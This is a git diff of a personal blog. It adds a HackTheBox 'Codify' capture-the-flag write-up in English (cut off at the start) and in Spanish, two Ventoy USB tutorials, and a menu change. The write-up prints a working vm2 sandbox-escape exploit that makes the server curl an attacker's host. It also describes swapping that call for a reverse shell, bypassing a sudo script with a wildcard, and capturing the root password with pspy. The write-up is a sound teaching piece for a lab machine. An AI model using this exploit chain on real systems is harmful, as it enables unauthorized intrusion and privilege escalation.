http://10.10.16.95:8000'); } + ) + } + } +}; +p.then(); +`; + +console.log(vm.run(code)); +``` +Running the code we get a hit! RCE is confirmed from here on out and as you can see, the request from the server to our client was logged under our simple HTTP server. + +{{}} + +We quickly replace our curl command with an improvised reverse shell, opening a port on our attacking machine and sending the shell there. + +{{}} + +> ***Pro tip:*** +> Reverse shells are unstable and will usually get killed off by simple actions like pressing Ctrl+C, running the following commands however will allow you to stabilize the shell and perform interactive actions with it (running sudo commands and pressing Ctrl+C): +> 1. `python3 -c "import pty;pty.spawn('/bin/bash')"` (Make sure Python is installed on the system, look for alternatives [here](https://github.com/RoqueNight/Reverse-Shell-TTY-Cheat-Sheet) if it isn't) +> 2. `export TERM=xterm` +> 3. Now make sure to press Ctrl+Z to freeze the shell before proceeding with the last command. +> 4. `stty raw -echo; fg` + +## Roaming around the system + +As you might have already noticed, there's not a lot we can do as this "svc" user besides looking at the test files created by other HTB hackers attacking the machine, however, if we take a peek at the generic web root folder for serving HTTP, we find two distinct folders other than /var/www/html: + +{{}} + +Interesting, there seems to be a database file for ticketing... + +Inspecting the file, we find that it's an Sqlite database, and if we access it, we can find two tables stored on it: + +{{}} + +Bingo! Besides the funny ticketing table, we found a second table with the password hash for an user named "joshua", and you might have noticed during your exploration as "svc" that there was a second user in the server named "joshua", so now it's time for some brute-forcing action! + +## Ripping some SSH credentials! + +We suspect that the password hash obtained from the Sqlite database might be the password for the server's "joshua" user, so we immediately add it to a file and let our trusty [*John The Ripper*](https://www.openwall.com/john/) brute-force the hash while using the rockyou.txt wordlist as our attack dictionary. + +{{}} + +And it works! Unfortunately I can't show the password since that would invalidate all the previous steps, but I can assure you it's one very simple and very funny password once you finally crack it! + +Using the cracked credentials we can log in through SSH to joshua's account and recover the **user.txt** flag. +{{}} +{{}} + +# Escalating our privileges + +Now that we finally have access to a proper server account, we can begin looking for ways to reach the root account. + +Usually a good place to start is checking if we have permission to run any commands with sudo executing `sudo -l`, and it seems like we do have one script we're allowed to run as root: + +{{}} + +{{}} + +Checking the script's content, we see that it stores the contents of a credentials file inside a variable called **"DB_PASS"**, and then proceeds to compare that variable to the password it asks us before executing some mysql backup commands when we try to execute the script... + +{{}} + +## *It's always simpler than it looks* + +One might think to attempt brute-forcing the script's password prompt since there don't seem to be any implemented measures to prevent this kind of attack, but if you're familiar with Bash you probably know the concept of wildcards, so, what would happen if we try feeding an asterisk into the script? + +{{}} + +Well that just took us one step further! I believe the reason this worked was because the user input was not sanitized properly before being compared, and since wildcards can equal to anything, comparing the secret password to a wildcard returned "True", allowing thus the script to continue past the if/else statement. + +However that does not solve our problem, we might be able to run the script, but all it seemingly does is backup SQL databases to a folder we can't read. Something you might notice though is the warning telling us that _"Using a password on the command line interface can be insecure"_, ***and boy were they right***. + +## pSpying our way to root! + +For a little backstory, there's a tool called [pspy](https://github.com/DominicBreuker/pspy) which is capable of listening for filesystem events or any commands being executed within the system you execute it in, if you check the script again, you'll realize that it executes the MySQL backup commands while providing the root password as an argument, hence the warnings generated from earlier. Do you see where this is going? + +{{}} + +Once we download the binary, we send it to the Codify server by virtue of our simple HTTP server and run it, let's try running that vulnerable script again shall we? + +{{}} + +And there it is! The password is indeed shown in plain text when we run the script thanks to pspy, with this password we immediately `su -` into the root account and retrieve the **root.txt** flag! diff --git a/content/posts/htb-codify-writeup/index.md b/content/posts/htb-codify-writeup/index.md new file mode 100644 index 0000000..d53c119 --- /dev/null +++ b/content/posts/htb-codify-writeup/index.md @@ -0,0 +1,147 @@ ++++ +draft = false +date = 2023-12-11T17:09:37+01:00 +title = "Guía de Codify en HackTheBox" +description = "Un tutorial para la máquina HTB \"Codify\"" +slug = "" +authors = ["Raul Bulgariu Suciu"] +tags = ["Tutorial", "Hacking", "HTB"] +categories = [] +externalLink = "" +series = [] ++++ + +{{}} + +Bienvenido a mi primera guía CTF! Hoy voy a guiarte a cómo hackear la máquina "Codify" de HackTheBox: + +# Reconocimiento básico + +Ejecutando un escaneo Nmap te darás cuenta de que tenemos tres puertos abiertos en el servidor: **SSH**, **Apache** y una instancia de NodeJS abierta, aunque recomendaría ignorar el último puerto al parecer este una cortina de humo. + +{{}} + +Por ahora asociemos la IP al nombre de dominio para que podamos acceder a la página por navegador web: + +{{}} + +# Ganando un punto de apoyo +Observando la página web, parece ser hecha para probar código NodeJS, lo primero que se viene a la cabeza es un caso de RCE posible utilizando módulos de sistema, aunque ***parece que los desarrolladores de esta página ya lo habían visto venir!*** + +{{}} + +Navegando la página encontramos una sección "Sobre nosotros" que habla sobre las motivaciones del desarrollador entre otras cosas, pero también hay una sección interesante que no solo habla sobre la librería utilizada para realizar el sandboxing del código, pero incluso nos informa de la versión siendo utilizada! Qué amables de su parte! + +> "The [vm2](https://github.com/patriksimek/vm2/releases/tag/3.9.16) library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system. We take the security and reliability of our platform seriously, and we use vm2 to ensure a safe testing environment for your code" + +Ejecutando una búsqueda en línea, descubrimos que la versión 3.9.16 de vm2 siendo utilizada por el sitio web da la casualidad de que sufre una vulnerabilidad de escape de sandbox, y después de investigar un poco más, podemos incluso encontrar [un exploit](https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c) para este! + +## Travesuras con VM2 (y shells inversas!) + +Ahora nos podemos dirigir al probador de código de la página y pegar el exploit a continuación, aunque primero nos gustaría saber si funciona, con lo que probamos a ejecutar un curl a un servidor HTTP de Python alojado en nuestra máquina atacante: + +> Acuérdate de modificar `execSync('curl http://10.10.16.95:8000')` y añadir tu propia dirección IP! + +```js +const {VM} = require("vm2"); +const vm = new VM(); + +const code = ` +async function fn() { + (function stack() { + new Error().stack; + stack(); + })(); +} +p = fn(); +p.constructor = { + [Symbol.species]: class FakePromise { + constructor(executor) { + executor( + (x) => x, + (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl http://10.10.16.95:8000'); } + ) + } + } +}; +p.then(); +`; + +console.log(vm.run(code)); +``` +Ejecutando el código obtenemos un acierto! RCE ha sido confirmado de aquí en adelante y como podrás ver, la petición desde el servidor a nuestro cliente se registró bajo nuestro servidor de HTTP simple. + +{{}} + +Reemplazamos rápidamente nuestro curl con una shell inversa improvisada, abriendo un puerto en nuestra máquina atacante y mándando la shell a este. + +{{}} + +> ***Pro tip:*** +> Shells inversas son inestables y son usualmente interrumpidas por acciones simples como pulsar Ctrl+C, ejecutando los siguientes comandos sin embargo te permitirá estabilizar la shell y realizar acciones interactivas con esta (ejecutar comandos con sudo y pulsar Ctrl+C): +> 1. `python3 -c "import pty;pty.spawn('/bin/bash')"` (Asegúrate de que Python esté instalado en el sistema, busca alternativas [aquí](https://github.com/RoqueNight/Reverse-Shell-TTY-Cheat-Sheet) sí no lo está) +> 2. `export TERM=xterm` +> 3. Ahora pulsa Ctrl+Z para congelar la shell antes de proceder con el último comando. +> 4. `stty raw -echo; fg` + +## Navegando a través del sistema + +Como te habrás dado cuenta, no hay mucho que podamos hacer como este usuario "svc" a parte de observar los archivos de prueba creados por otros hackers de HackTheBox atacando a la máquina, sin embargo, si echamos un vistazo al directorio raíz genérico para servir HTTP, encontramos dos directorios distintos de /var/www/html: + +{{}} + +Interesante, parece haber un archivo de base de datos para ticketing... + +Inspeccionando el archivo, descubrimos que es una base de datos Sqlite, y si accedemos a esta, podemos encontrar dos tablas guardadas en esta: + +{{}} + +Bingo! Además de la graciosa tabla de tickets, hemos encontrado una segunda tabla con la hash de contraseña para un usuario llamado "joshua", y es posible que te hayas dado cuenta durante tu exploración como "svc" que había un segundo usuario en el servidor llamado "joshua", así que ahora es el momento de una acción de fuerza bruta. + +## Destripando unas credenciales SSH! + +Sospechamos que la hash de contraseña obtenida de la base de datos Sqlite podría ser la contraseña del usuario "joshua" del servidor, con lo que la añadimos inmediatamente a un archivo y dejamos a nuestro fiel [*John The Ripper*](https://www.openwall.com/john/) (o John el Destripador) atacar el hash a fuerza bruta utilizando la lista de palabras rockyou.txt como nuestro diccionario de ataque. + +{{}} + +Y funciona! Desafortunadamente no puedo mostrar la contraseña ya que esto invalidaría todos los pasos anteriores, pero te puedo asegurar que es definitivamente una contraseña muy simple y graciosa una vez la rompes! + +Utilizando las credenciales rotas podemos iniciar sesión a través de SSH en la cuenta de joshua y recuperar la bandera **user.txt**. +{{}} +{{}} + +# Escalando nuestros privilegios + +Ahora que por fin tenemos acceso a una cuenta de servidor adecuada, podemos empezar a buscar formas de alcanzar la cuenta root. + +Usualmente un buen lugar donde empezar es revisar si tenemos permisos para ejecutar cualquier comando como sudo utilizando `sudo -l`, y parece que tenemos un script que podemos ejecutar como root: + +{{}} + +{{}} + +Revisando el contenido del script, vemos que guarda los contenidos de un archivo de credenciales dentro de una variable llamada **"DB_PASS"**, y luego procede a comparar esa variable con la contraseña que nos pide antes de ejecutar algunos comandos de copia de seguridad de MySQL cuando intentamos ejecutar el script... + +{{}} + +## *Siempre es más simple de lo que parece* + +Uno podría pensar en intentar realizar un ataque de fuerza bruta ya que no parece haber ninguna medida implementada para evitar este tipo de ataque, pero si estás familiarizado con Bash, probablemente conoces el concepto de comodines, entonces, que pasaría si intentamos introducir un asterisco en el script? + +{{}} + +Bueno eso nos llevó un paso adelante! Creo que la razón por la que esto funcionó fue porque la entrada del usuario no fue desinfectada correctamente, y dado que los comodines pueden equivaler a cualquier valor, comparar la contraseña secreta con un comodín devolvió "True", lo que permite al script continuar más allá de la declaración if/else. + +Sin embargo eso no soluciona nuestro problema, puede que podamos ejecutar el script, pero lo único que parece hacer es respaldar bases de datos SQL a un directorio del que no podemos leer. Aunque algo puede destacar es la advertencia avisándonos de que "Utilizar una contraseña en la interfaz de línea de comandos puede ser inseguro", ***y vaya si tenían razón***. + +## Espiando nuestro camino hacia root! + +Para un poco de historia de fondo, existe una herramienta llamada [pspy](https://github.com/DominicBreuker/pspy) que es capaz de escuchar los eventos del sistema de archivos o cualquier comando que se ejecute dentro del sistema donde lo iniciemos, si revisas el script otra vez, te darás cuenta de que ejecuta los comandos de respaldo de MySQL proporcionando la contraseña de root como parámetro, de ahí las advertencias generadas anteriormente. Puedes ver a dónde va esto? + +{{}} + +Una vez descargamos el binario, lo mandamos al servidor de Codify en virtud de nuestro servidor de HTTP simple y lo ejecutamos, intentemos ejecutar ese script de nuevo, de acuerdo? + +{{}} + +Y ahí está! La contraseña se muestra en texto plano cuando ejecutamos el script gracias a pspy, con esta contraseña ejecutamos `su -` inmediatamente para acceder a la cuenta root y recuperamos la bandera **root.txt**! diff --git a/content/posts/ventoy-install/files/devices.png b/content/posts/ventoy-install/files/devices.png new file mode 100644 index 0000000..50f944b Binary files /dev/null and b/content/posts/ventoy-install/files/devices.png differ diff --git a/content/posts/ventoy-install/files/ventoy.png b/content/posts/ventoy-install/files/ventoy.png new file mode 100644 index 0000000..a3ee295 Binary files /dev/null and b/content/posts/ventoy-install/files/ventoy.png differ diff --git a/content/posts/ventoy-install/files/ventoydownload.png b/content/posts/ventoy-install/files/ventoydownload.png new file mode 100644 index 0000000..f711850 Binary files /dev/null and b/content/posts/ventoy-install/files/ventoydownload.png differ diff --git a/content/posts/ventoy-install/files/ventoyweb.png b/content/posts/ventoy-install/files/ventoyweb.png new file mode 100644 index 0000000..d1e7434 Binary files /dev/null and b/content/posts/ventoy-install/files/ventoyweb.png differ diff --git a/content/posts/ventoy-install/files/webscript.png b/content/posts/ventoy-install/files/webscript.png new file mode 100644 index 0000000..9bd8e82 Binary files /dev/null and b/content/posts/ventoy-install/files/webscript.png differ diff --git a/content/posts/ventoy-install/files/windowsvent.png b/content/posts/ventoy-install/files/windowsvent.png new file mode 100644 index 0000000..0a8ce98 Binary files /dev/null and b/content/posts/ventoy-install/files/windowsvent.png differ diff --git a/content/posts/ventoy-install/index.en.md b/content/posts/ventoy-install/index.en.md new file mode 100644 index 0000000..6065529 --- /dev/null +++ b/content/posts/ventoy-install/index.en.md @@ -0,0 +1,53 @@ ++++ +draft = false +date = 2023-06-11T16:53:52+02:00 +title = "Ventoy usage tutorial" +description = "How to install and use Ventoy to create a multi-iso bootable USB" +slug = "" +authors = ["Raul Bulgariu Suciu"] +tags = ["Tutorial"] +categories = [] +externalLink = "" +series = [] ++++ + +A while back in my [Arch Linux installation tutorial](/en/posts/archlinux-install/), I mentioned that I would be eventually taking the time to make a simple guide +to install and use Ventoy, since this is a much simpler process, it won't be as long as the last tutorial, let's get started: + +# Downloading +Head up to the [releases section](https://github.com/ventoy/Ventoy/releases) and download the package for your operating system: + +{{}} + +Once downloaded, don't forget to plug in the USB you intend to use for Ventoy. +>Please remember to backup any important files within the USB as installing Ventoy will format and erase all the existing data. + +# Installation (Linux) +If you're on Linux, unpack the tar.gz file with `tar -xvf ventoy*.tar.gz` or use your GUI of choice, and open a terminal within the extracted folder, then run `sudo ./VentoyWeb.sh`, you should see something like this: +{{< betterfigure src="files/webscript.png" >}} +Head to the URL it indicates and you'll be able to see the following screen: +{{< betterfigure src="files/ventoyweb.png" >}} +***If you already backed up your files***, then all you have to do now is just press "Install", and that's it! After finishing, +you should notice two new devices pop up: +{{< betterfigure src="files/devices.png" >}} + +Ignore "VTOYEFI", you'll want to copy your .iso files to the "Ventoy" partition, and that should be about it. + +# Installation (Windows) +Windows is a tad bit easier, when decompressing the .zip file you'll just want to run "Ventoy2Disk.exe" and you'll get a +window similar to this one: +{{< betterfigure src="files/windowsvent.png" >}} +Same as last time, ***make sure your USB files are backed up***, hit "Install" and that's it. Once done, drag your .iso files into the "Ventoy" partition, not the "VTOYEFI" one. + + +# Finishing up +The hardest part now will be booting into the USB itself, which implies [figuring out the button for your computer brand's BIOS](https://www.tomshardware.com/reviews/bios-keys-to-access-your-firmware,5732.html), after you manage to reach the BIOS you'll want +to search for the option to boot off your USB drive, if when booting, you get a security error, you'll want to first look for the +"Secure Boot" option in your BIOS and turn it off. + +>Secure boot just prevents people from booting up any non-authorized Operating Systems off your computer. + +Once turned off, give it another go and, if you did add a few .iso files already, you should see a screen similar to this: +{{< betterfigure src="files/ventoy.png" >}} +Now you can just move around with the arrow keys and hit enter to select which .iso file you wish to boot, and believe me, stock up +on .iso files for different situations because ***this will save you from many headaches***. diff --git a/content/posts/ventoy-install/index.md b/content/posts/ventoy-install/index.md new file mode 100644 index 0000000..64a1559 --- /dev/null +++ b/content/posts/ventoy-install/index.md @@ -0,0 +1,49 @@ ++++ +draft = false +date = 2023-06-11T16:53:52+02:00 +title = "Como utilizar Ventoy" +description = "Como instalar y usar Ventoy para crear un USB bootable multi-iso" +slug = "" +authors = ["Raul Bulgariu SUciu"] +tags = ["Tutorial"] +categories = [] +externalLink = "" +series = [] ++++ + +Hace tiempo en mi [tutorial de instalación de Arch Linux](/posts/archlinux-install/), mencioné que eventualmente crearía una guía simple de como instalar y usar Ventoy, al ser un proceso mucho más simple, no tardará tanto como el anterior tutorial, vamos a empezar: + +# Descargando +Dirígete a la [sección de descargas](https://github.com/ventoy/Ventoy/releases) y descarga el archivo empaquetado para tu sistema +operativo: + +{{< betterfigure src="files/ventoydownload.png" >}} + +Una vez descargado, no te olvides de conectar la unidad USB que desees utilizar para Ventoy. +>Por favor, recuerda respaldar cualquier archivo importante de la unidad USB ya que instalar Ventoy formateará y borrará todos los datos de este. + +# Instalación (Linux) +Si estás utilizando Linux, desempaqueta el archivo tar.gz con `tar -xvf ventoy*.tar.gz` o utiliza de aplicación gráfica preferida, abre una terminal dentro de la carpeta extraída, y ejecuta `sudo ./VentoyWeb.sh`, deberías ver algo parecido a esto: +{{< betterfigure src="files/webscript.png" >}} +Accede a la URL que indica y podrás ver la siguiente pantalla: +{{< betterfigure src="files/ventoyweb.png" >}} +***Si ya has respaldado tus archivos***, lo único que tienes que hacer es presionar "Install", y ya está! Al terminar, +deberías ver aparecer dos nuevas unidades de almacenamiento: +{{< betterfigure src="files/devices.png" >}} + +Ignora a "VTOYEFI", querrás copiar tus archivos .iso en la partición "Ventoy" y eso debería ser todo. + +# Instalación (Windows) +Windows es más fácil, al descomprimir el archivo .zip, solo necesitas ejecutar "Ventoy2Disk.exe" y verás una ventana parecida a esta: +{{< betterfigure src="files/windowsvent.png" >}} +Lo mismo que la última vez, ***asegurate de que tus archivos están respaldados***, presiona "Install" y ya está. Una vez terminado, arrastra tus archivos .iso a la partición "Ventoy", no a "VTOYEFI". + + +# Terminando +La parte más difícil ahora es iniciar el USB como sistema operativo, lo que implica [descubrir que botón de BIOS utiliza tu marca de ordenador](https://www.tomshardware.com/reviews/bios-keys-to-access-your-firmware,5732.html), después de llegar a la BIOS, querrás buscar la opción para iniciar tu unidad USB conectada, si al iniciar, recibes un error de seguridad, deberías buscar la opción de "Inicio seguro" o "Secure Boot" y desactivarla. + +>Secure boot simplemente previene que otras personas puedan iniciar cualquier sistema operativo no autorizado en tu ordenador. + +Una vez apagado, inténtalo otra vez y, si ya añadistes algunos archivos .iso, deberías ver una pantalla parecida a esta: +{{< betterfigure src="files/ventoy.png" >}} +Ahora te puedes mover utilizando las teclas de flecha y pulsar enter para seleccionar que archivo .iso deseas iniciar, y créeme, será mejor que te abastezcas de sistemas operativos para diferentes situaciones, porque ***esto te ahorrará muchos dolores de cabeza***. diff --git a/hugo.toml b/hugo.toml index 7aa0562..0fa5bd7 100644 --- a/hugo.toml +++ b/hugo.toml @@ -87,10 +87,10 @@ name = "CV" weight = 1 url = "https://cv.bulgariu.xyz/en" -# [[languages.en.menu.main]] -# name = "Git" -# weight = 2 -# url = "https://git.bulgariu.xyz/raul" +[[languages.en.menu.main]] +name = "Git" +weight = 2 +url = "https://git.bulgariu.xyz/raul" [[languages.en.menu.main]] name = "About" @@ -127,10 +127,10 @@ name = "CV" weight = 1 url = "https://cv.bulgariu.xyz/es" -# [[languages.es.menu.main]] -# name = "Git" -# weight = 2 -# url = "https://git.bulgariu.xyz/raul" +[[languages.es.menu.main]] +name = "Git" +weight = 2 +url = "https://git.bulgariu.xyz/raul" [[languages.es.menu.main]] name = "Sobre mí"